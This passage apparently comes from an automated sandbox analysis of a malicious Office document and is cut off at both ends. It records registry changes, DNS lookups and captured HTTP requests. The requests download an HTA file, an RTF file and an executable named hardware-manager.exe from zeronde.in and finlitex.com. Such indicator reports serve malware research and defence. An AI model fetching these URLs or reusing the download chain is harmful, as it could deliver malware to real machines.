  2053. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  2054. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  2055. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  2056. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  2057. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  2058. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  2059. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  2060. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  2061. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  2062. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  2063. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  2064. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  2065. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  2066. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  2067. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  2068. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  2069. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  2070. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  2071. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  2072. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  2073. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  2074. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  2075. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  2076. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  2077. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  2078. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  2079. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  2080. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  2081. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  2082. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  2083. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  2084. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  2085. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  2086. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  2087. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  2088. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  2089. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  2090. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  2091. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  2092. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  2093. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  2094. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  2095. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  2096. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  2097. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  2098. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  2099. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  2100. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  2101. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  2102. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  2103. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  2104. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
  2105. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\Type",
  2106. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Type",
  2107. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\ServiceSessionId",
  2108. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\Directory",
  2109. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a",
  2110. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\0",
  2111. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\1",
  2112. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\2",
  2113. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\3",
  2114. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\4",
  2115. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\5",
  2116. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\6",
  2117. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\7",
  2118. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\9f9bb3c6-b72f-4a2d-b3a0-276c7844737a\\8",
  2119. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c",
  2120. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\0",
  2121. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\1",
  2122. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\2",
  2123. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\3",
  2124. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\4",
  2125. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\5",
  2126. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\6",
  2127. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\7",
  2128. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\OfficeSoftwareProtectionPlatform\\data\\2e9e4ae1-18ce-4941-a867-bc76afbf992c\\8",
  2129. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{4CBF3D1D-5FEB-4971-B977-59608B4DCACE}\\Path",
  2130. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{4CBF3D1D-5FEB-4971-B977-59608B4DCACE}\\Hash",
  2131. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Microsoft\\Windows Defender\\MP Scheduled Scan\\Id",
  2132. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Microsoft\\Windows Defender\\MP Scheduled Scan\\Index",
  2133. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{4CBF3D1D-5FEB-4971-B977-59608B4DCACE}\\Triggers",
  2134. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{4CBF3D1D-5FEB-4971-B977-59608B4DCACE}\\DynamicInfo",
  2135. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
  2136. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\PreviousServiceShutdown",
  2137. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ProcessID",
  2138. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{ED0D73D7-BC97-46E2-AC55-FD6EB3F72C05}\\DynamicInfo",
  2139. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{967639A4-F90D-4030-B019-09A231A9B917}",
  2140. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{B17E070E-57E3-43F6-96F5-A9A9C921DEBF}\\DynamicInfo",
  2141. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{8DA9C1AF-3ED4-49CB-8B83-3B11740300F7}",
  2142. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{DF000DCA-3FA2-48A6-9E59-C0606F9F8D73}\\DynamicInfo",
  2143. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent",
  2144. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent\\DefaultConsent",
  2145. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\TimeProviders\\NtpClient\\SpecialPollTimeRemaining",
  2146. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ThrottleDrege",
  2147. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Parameters\\ServiceDllUnloadOnStop",
  2148. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
  2149. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
  2150. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
  2151. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
  2152. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
  2153. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
  2154. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider",
  2155. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{967639A4-F90D-4030-B019-09A231A9B917}\\data",
  2156. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{8DA9C1AF-3ED4-49CB-8B83-3B11740300F7}\\data"
  2157. ]
  2158.  
  2159. [*] Deleted Registry Keys: [
  2160. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  2161. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  2162. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  2163. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  2164. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyOverride",
  2165. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL",
  2166. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\bok",
  2167. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\w k",
  2168. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\t4i",
  2169. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  2170. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  2171. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  2172. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  2173. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Place MRU\\Item 2",
  2174. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\File MRU\\Item 14",
  2175. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart"
  2176. ]
  2177.  
  2178. [*] DNS Communications: [
  2179. {
  2180. "type": "A",
  2181. "request": "zeronde.in",
  2182. "answers": [
  2183. {
  2184. "data": "141.105.69.247",
  2185. "type": "A"
  2186. }
  2187. ]
  2188. },
  2189. {
  2190. "type": "A",
  2191. "request": "finlitex.com",
  2192. "answers": [
  2193. {
  2194. "data": "208.91.199.240",
  2195. "type": "A"
  2196. }
  2197. ]
  2198. }
  2199. ]
  2200.  
  2201. [*] Domains: [
  2202. {
  2203. "ip": "141.105.69.247",
  2204. "domain": "zeronde.in"
  2205. },
  2206. {
  2207. "ip": "208.91.199.240",
  2208. "domain": "finlitex.com"
  2209. }
  2210. ]
  2211.  
  2212. [*] Network Communication - ICMP: []
  2213.  
  2214. [*] Network Communication - HTTP: [
  2215. {
  2216. "count": 1,
  2217. "body": "",
  2218. "uri": "http://zeronde.in/download/document.hta",
  2219. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  2220. "method": "GET",
  2221. "host": "zeronde.in",
  2222. "version": "1.1",
  2223. "path": "/download/document.hta",
  2224. "data": "GET /download/document.hta HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-US\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: zeronde.in\r\nConnection: Keep-Alive\r\n\r\n",
  2225. "port": 80
  2226. },
  2227. {
  2228. "count": 1,
  2229. "body": "",
  2230. "uri": "http://finlitex.com/wp-errors/document.rtf",
  2231. "user-agent": "",
  2232. "method": "GET",
  2233. "host": "finlitex.com",
  2234. "version": "1.1",
  2235. "path": "/wp-errors/document.rtf",
  2236. "data": "GET /wp-errors/document.rtf HTTP/1.1\r\nHost: finlitex.com\r\nConnection: Keep-Alive\r\n\r\n",
  2237. "port": 80
  2238. },
  2239. {
  2240. "count": 1,
  2241. "body": "",
  2242. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2243. "user-agent": "Microsoft-CryptoAPI/6.1",
  2244. "method": "GET",
  2245. "host": "ocsp.digicert.com",
  2246. "version": "1.1",
  2247. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2248. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2249. "port": 80
  2250. },
  2251. {
  2252. "count": 1,
  2253. "body": "",
  2254. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2255. "user-agent": "Microsoft-CryptoAPI/6.1",
  2256. "method": "GET",
  2257. "host": "ocsp.msocsp.com",
  2258. "version": "1.1",
  2259. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2260. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2261. "port": 80
  2262. },
  2263. {
  2264. "count": 11,
  2265. "body": "",
  2266. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2267. "user-agent": "Microsoft-CryptoAPI/6.1",
  2268. "method": "GET",
  2269. "host": "crl.microsoft.com",
  2270. "version": "1.1",
  2271. "path": "/pki/crl/products/microsoftrootcert.crl",
  2272. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2273. "port": 80
  2274. },
  2275. {
  2276. "count": 5,
  2277. "body": "",
  2278. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2279. "user-agent": "Microsoft-CryptoAPI/6.1",
  2280. "method": "GET",
  2281. "host": "crl.microsoft.com",
  2282. "version": "1.1",
  2283. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2284. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2285. "port": 80
  2286. },
  2287. {
  2288. "count": 2,
  2289. "body": "",
  2290. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2291. "user-agent": "Microsoft-CryptoAPI/6.1",
  2292. "method": "GET",
  2293. "host": "crl.microsoft.com",
  2294. "version": "1.1",
  2295. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2296. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 01 May 2019 05:01:31 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2297. "port": 80
  2298. },
  2299. {
  2300. "count": 1,
  2301. "body": "",
  2302. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2303. "user-agent": "Microsoft-CryptoAPI/6.1",
  2304. "method": "GET",
  2305. "host": "crl.microsoft.com",
  2306. "version": "1.1",
  2307. "path": "/pki/crl/products/microsoftrootcert.crl",
  2308. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2309. "port": 80
  2310. },
  2311. {
  2312. "count": 1,
  2313. "body": "",
  2314. "uri": "http://finlitex.com/wp-errors/hardware-manager.exe",
  2315. "user-agent": "",
  2316. "method": "GET",
  2317. "host": "finlitex.com",
  2318. "version": "1.1",
  2319. "path": "/wp-errors/hardware-manager.exe",
  2320. "data": "GET /wp-errors/hardware-manager.exe HTTP/1.1\r\nHost: finlitex.com\r\nConnection: Keep-Alive\r\n\r\n",
  2321. "port": 80
  2322. }
  2323. ]
  2324.  
  2325. [*] Network Communication - SMTP: []
  2326.  
  2327. [*] Network Communication - Hosts: []
  2328.  
  2329. [*] Network Communication - IRC: []
  2330.  
  2331. [*] Static Analysis: {
  2332. "office": {
  2333. "Metadata": {
  2334. "HasMacros": "No"
  2335. }
  2336. }
  2337. }
  2338.  
  2339. [*] Resolved APIs: [
  2340. "ntdll.dll.RtlDllShutdownInProgress",
  2341. "comctl32.dll.#329",
  2342. "propsys.dll.#407",
  2343. "propsys.dll.PropVariantToGUID",
  2344. "propsys.dll.PSGetNameFromPropertyKey",
  2345. "propsys.dll.PSStringFromPropertyKey",
  2346. "propsys.dll.InitVariantFromBuffer",
  2347. "oleaut32.dll.#9",
  2348. "propsys.dll.PSLookupPropertyHandlerCLSID",
  2349. "advapi32.dll.RegOpenKeyExW",
  2350. "advapi32.dll.RegQueryValueExW",
  2351. "advapi32.dll.RegCloseKey",
  2352. "propsys.dll.PSCreatePropertyStoreFromObject",
  2353. "oleaut32.dll.#6",
  2354. "propsys.dll.PropVariantToStringAlloc",
  2355. "ole32.dll.CoTaskMemRealloc",
  2356. "ole32.dll.CLSIDFromString",
  2357. "comctl32.dll.#388",
  2358. "comctl32.dll.#321",
  2359. "shell32.dll.#66",
  2360. "ole32.dll.CoGetMalloc",
  2361. "ole32.dll.CoAllowSetForegroundWindow",
  2362. "ole32.dll.CoCreateInstance",
  2363. "kernel32.dll.InitializeSRWLock",
  2364. "kernel32.dll.AcquireSRWLockExclusive",
  2365. "kernel32.dll.AcquireSRWLockShared",
  2366. "kernel32.dll.ReleaseSRWLockExclusive",
  2367. "kernel32.dll.ReleaseSRWLockShared",
  2368. "shell32.dll.SHGetFolderPathW",
  2369. "advapi32.dll.SaferGetPolicyInformation",
  2370. "sfc.dll.SfcIsFileProtected",
  2371. "ole32.dll.OleUninitialize",
  2372. "ole32.dll.CoRevokeInitializeSpy",
  2373. "kernelbase.dll.SetThreadStackGuarantee",
  2374. "oleaut32.dll.#500",
  2375. "advapi32.dll.UnregisterTraceGuids",
  2376. "cryptbase.dll.SystemFunction036",
  2377. "uxtheme.dll.ThemeInitApiHook",
  2378. "user32.dll.IsProcessDPIAware",
  2379. "advapi32.dll.GetNamedSecurityInfoW",
  2380. "ntmarta.dll.GetMartaExtensionInterface",
  2381. "ole32.dll.CreateBindCtx",
  2382. "ole32.dll.CoTaskMemAlloc",
  2383. "ole32.dll.CoGetApartmentType",
  2384. "ole32.dll.CoRegisterInitializeSpy",
  2385. "ole32.dll.CoTaskMemFree",
  2386. "comctl32.dll.#236",
  2387. "comctl32.dll.#320",
  2388. "comctl32.dll.#324",
  2389. "comctl32.dll.#323",
  2390. "advapi32.dll.RegEnumKeyW",
  2391. "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
  2392. "oleaut32.dll.#2",
  2393. "setupapi.dll.CM_Get_Device_Interface_List_ExW",
  2394. "advapi32.dll.InitializeSecurityDescriptor",
  2395. "advapi32.dll.SetEntriesInAclW",
  2396. "advapi32.dll.SetSecurityDescriptorDacl",
  2397. "advapi32.dll.IsTextUnicode",
  2398. "comctl32.dll.#332",
  2399. "comctl32.dll.#338",
  2400. "comctl32.dll.#339",
  2401. "comctl32.dll.#386",
  2402. "shell32.dll.#102",
  2403. "ole32.dll.PropVariantClear",
  2404. "ole32.dll.CoInitializeEx",
  2405. "ole32.dll.CoUninitialize",
  2406. "propsys.dll.PSCreateMemoryPropertyStore",
  2407. "propsys.dll.#417",
  2408. "comctl32.dll.#385",
  2409. "cryptsp.dll.CryptAcquireContextW",
  2410. "cryptsp.dll.CryptCreateHash",
  2411. "cryptsp.dll.CryptHashData",
  2412. "cryptsp.dll.CryptGetHashParam",
  2413. "cryptsp.dll.CryptDestroyHash",
  2414. "cryptsp.dll.CryptReleaseContext",
  2415. "comctl32.dll.#336",
  2416. "sechost.dll.ConvertSidToStringSidW",
  2417. "profapi.dll.#104",
  2418. "advapi32.dll.RegQueryValueW",
  2419. "apphelp.dll.ApphelpCheckShellObject",
  2420. "linkinfo.dll.CreateLinkInfoW",
  2421. "user32.dll.IsCharAlphaW",
  2422. "user32.dll.CharPrevW",
  2423. "ntshrui.dll.GetNetResourceFromLocalPathW",
  2424. "srvcli.dll.NetShareEnum",
  2425. "cscapi.dll.CscNetApiGetInterface",
  2426. "slc.dll.SLGetWindowsInformationDWORD",
  2427. "shlwapi.dll.PathRemoveFileSpecW",
  2428. "linkinfo.dll.DestroyLinkInfo",
  2429. "propsys.dll.PropVariantToBoolean",
  2430. "cryptsp.dll.CryptGenRandom",
